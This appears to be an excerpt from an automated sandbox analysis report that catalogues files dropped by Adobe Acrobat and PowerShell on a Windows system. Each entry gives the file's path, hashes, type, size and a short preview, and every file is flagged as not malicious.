SHA1:	235F623ED4E17ECDBC4264B4986823F7302FF1C8
SHA-256:	11B0B9968CB23938A60451DFB78A0A1CF928D7C8BF17EB3BB2F1D75EC07CC327
SHA-512:	13AF675311D4547206F941AF345E8DD6E746685A986C399C5A1AC5FC28AAFC421D081469CD555E722A3D8E390A899FE71B0B59717182F6ECEC95203D4094778A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.249895878514671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJf21rPeUkwRe9:YvXKXII8HH2vR/ZwHAxG+16Ukee9
MD5:	7A897303042BE148E0F6B9EC24213597
SHA1:	406C1BBF66204459DF0CAD57DCEA2A488E098EEC
SHA-256:	F9FD10C687E9F82A3E861FE88E9E213E2486829F87420E1A567FDBD1C108E3C0
SHA-512:	4709A48B17A17851DDB6C757320F9D8853BB1E263893B1DBD911B8ABB378CB2F686CCBF896EE1D54F1FC0AFAA9F012450D69EBC52AFE595B84B1701EE2A0FCA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670908952785416
Encrypted:	false
SSDEEP:	24:Yv6X18HWJh+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSfZ:YvtHWJhABgkDMUJUAh8cvMB
MD5:	C8B68407BFB25C258D7750ADE3A0C015
SHA1:	E36FEF3DDECD815646D0D2FF28031D118AE3DB48
SHA-256:	B24644A0AAF8CEF7FFEDA559ED665E888A86F8F2D555732631A85105DB3F6AAB
SHA-512:	7569CE5C8282A4E4E1D3B1D8644D8F634ACB7BC190F8BF0573CB81798BE7864A61A2951A20F2C986D1E75B24838B5A1219D05E973E952A7092F84CE46A1EFA6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224809498905351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfshHHrPeUkwRe9:YvXKXII8HH2vR/ZwHAxGUUUkee9
MD5:	04C58AFB0555A5511391C73EE90ABFA4
SHA1:	B8DBD21E87CCF59EF424EB0B45BA4DBFED696987
SHA-256:	8C7AD7894BEF6E42CD098AC0899E1385C945EA7EBDFBB916A0E09091BED01578
SHA-512:	492404623AA5AAC032DF069D18FF7072F865524C6BDEEEFB2059379603EF375DAADE2B62E51BAA638AF4F35A03AD86DB514A9118FC40F7F0ADECFA5E240D4A64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.246697465853872
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJTqgFCrPeUkwRe9:YvXKXII8HH2vR/ZwHAxGTq16Ukee9
MD5:	8C161C108972F9E461D67FF94E33C2AE
SHA1:	9283B9AA8618E6ED33560E866D0204A53E27F6C2
SHA-256:	AEF523E104942A309A652C80C15C7444FCE9839C7F6EC63B71C8210F8DB09EA3
SHA-512:	45B182EBCAB64444A58CC30ED81A847DC3D7864B322AAAF629AD50073481E6CEAFCC25176B09F082133196886A2DEEF78432E75D3B51659A0B8DEFB7FCA75751
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147914196865168
Encrypted:	false
SSDEEP:	24:YX1FCnafay+CK0JZCmG7mCqRf4K34lNUOSnjQWhj0ShLGt2GP2LSjCH+cBKuJx3m:YXJbp4NizlMJP98Z0uJx3asV+KM99b
MD5:	427E5775A1D3FE6294CF6D0FACD37683
SHA1:	83BED836893AFA736684050CAAB0C0264616AD5B
SHA-256:	72EDF0D9E5B15E7F6F9ACA19DBD174A32A939E086F60E2323098D306C42ED6F6
SHA-512:	7DA6382291DD48391C770E55A364049C16D049A31F2A1F21A71F3E8BCAC538FB80741F6F579CA2360DE3174A7A306ED1E4E47ABF7BAD3F421DF0169D5597C55D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bca17873be46ccc026cb908e481551e5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558248000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"03379aed9572003eb0e22489b1483f96","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558248000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"84cd349df2fea8d1c5bb5237d2c38778","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558248000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e438bfeee8014250ecbc742ce7a25dab","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558248000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cf7e77f76759d69714549d7926314c1c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558247000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"281bec4bbb8a5749548da9190053c8d9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192801080095824
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahg+9VypilIu+9t:lNVms9WfMwbPahZVEt
MD5:	8BF725E3F50180E81DDF8ABA306BF015
SHA1:	959ABEDEF00A283E6EFAE87F913E70CF0432E63F
SHA-256:	4B6DE82BD3EB656FFDB39535A330675C89945657AA38CE204A263571CCA78897
SHA-512:	320047C465CD1270DFB7A1DE80C12FF5803F22291031FA4971782CAA0A5BDFB2BB56C1E2958D412DC9F387FC080C1623BF4EDA87572E99EE55E0B2937BBF696F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7808045429300696
Encrypted:	false
SSDEEP:	48:7MzWR1CPmPbPahg+9QypilICqFl2GL7msw:76WfMwbPahZQDKVmsw
MD5:	0121EABF9BC6DD783FEDDD3CB8EB19C3
SHA1:	1BC877AFD72973396B86CBF51C303FE8C09F13F5
SHA-256:	64FCEC5F77D9BB676E4AC747D4DB5AF15E74F306D4938058396A6E7BCEB98E84
SHA-512:	582EE0CA4C8AFE7BA451DCD30E04369FBED171CE30C9B3BEDA07F003481BC635EB6665091FCFBD1DA980B4249197740BB6C59B4D88F5E5021E082436B7199BEC
Malicious:	false
Preview:	.... .c.....h\|v...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIXbkCPiTLJHNNcUrVg+DsMSaYyu:6a6TZ44ADEIXbkCP4NcwwMxK
MD5:	55ED977D0DF276E2D121A97B94A2EE1A
SHA1:	84C55E79E1BF3D8D6496F7B9D1F75CB6B165B1D3
SHA-256:	9D13B94D3D364CB6A05E03FFFD521797EDF1C986015E3AA81DF6BDD435E690EE
SHA-512:	40F19829BD75F10AA9B6E9C0B28382EF260F5562A2FB5D81A8D060F80CD65C3D601F30BB20DE25A4DE69E3CDAAED537A213EE5B538A24546743C3BFC1BA7F17C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI94f1b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClj:Qw946cPbiOxDlbYnuRK+b6
MD5:	01E4167C6B48F5E2727B67AEE71DD657
SHA1:	4EE6440B5E50844AE4A6A4DCFE1BDE23BBA4B503
SHA-256:	7B9D3CA35C3A01195A9A8D4DA5CFA9DE2C1C93B40572B11A61DE750968B22D2A
SHA-512:	52612DF5461217669CB71F2928AF191672459D622C7F7BED421B78FB9E8BEDCA74A8CD079630F937CCCFCAC10D499643F8A713DD1B77457C19C3C8A3879922BE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.7.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huzl55kf.qfk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rugu4zcj.ovj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-17-21-369.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.387895046383133
Encrypted:	false
SSDEEP:	384:PIKRp7k9ZMJTE2qCN6f2y836WpMBWYwB83cSoxTLLn9zFx2zxkiZpTCD6eA1O4I+:CRx
MD5:	AA22E2A271DAF869FE2540526C2CDE23
SHA1:	8B61B5FC25A7D0D368BBFE14C9D6A3FDEA39004B
SHA-256:	7E2C84DC4E20B3C02717350C04DDA0EFD0FF099B5E2A5FD6CB5A51BF22D688A9
SHA-512:	258E2317EA4F1DC94003CE71FCC2CBADF7BD87E7370B857E6596F8F07F60CB95E135FECE56D335467B74E2E097D0330E44C70DF84A564A1684BD1E4F9DB7179E
Malicious:	false
Preview:	SessionID=128ffbf9-e3b4-4db6-b5a2-3a949718478f.1736558241398 Timestamp=2025-01-10T20:17:21:398-0500 ThreadID=7968 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=128ffbf9-e3b4-4db6-b5a2-3a949718478f.1736558241398 Timestamp=2025-01-10T20:17:21:417-0500 ThreadID=7968 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=128ffbf9-e3b4-4db6-b5a2-3a949718478f.1736558241398 Timestamp=2025-01-10T20:17:21:417-0500 ThreadID=7968 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=128ffbf9-e3b4-4db6-b5a2-3a949718478f.1736558241398 Timestamp=2025-01-10T20:17:21:417-0500 ThreadID=7968 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=128ffbf9-e3b4-4db6-b5a2-3a949718478f.1736558241398 Timestamp=2025-01-10T20:17:21:418-0500 ThreadID=7968 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40439727956576
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbwIcbqIA8cb9:ceo4+rsCehAn
MD5:	889B36C654997D2643E88A5BE9995AD4
SHA1:	62070F291AE1060B44014AF268E8320AA6DEA335
SHA-256:	7A944A48683F5BCFB4F5E74585DADE60D1A9F58EB91293B899D43E9B19B560B8
SHA-512:	0F5C34C2E0A88C5B1F58330C68FA2DF56F2C442002A91FD3CD73F37FAEEBF4D105A518CA2439EA3E51BD9F31F68FAD7B86A86958060E8A7BC92957ED83846E9F
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\15a50036-f1c9-4764-8f32-3505b16e452e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6f84e7bc-697e-4f2a-a5b4-cb3ea812b71f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7b44e2a8-b2ed-4376-9316-c088d85a3c07.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
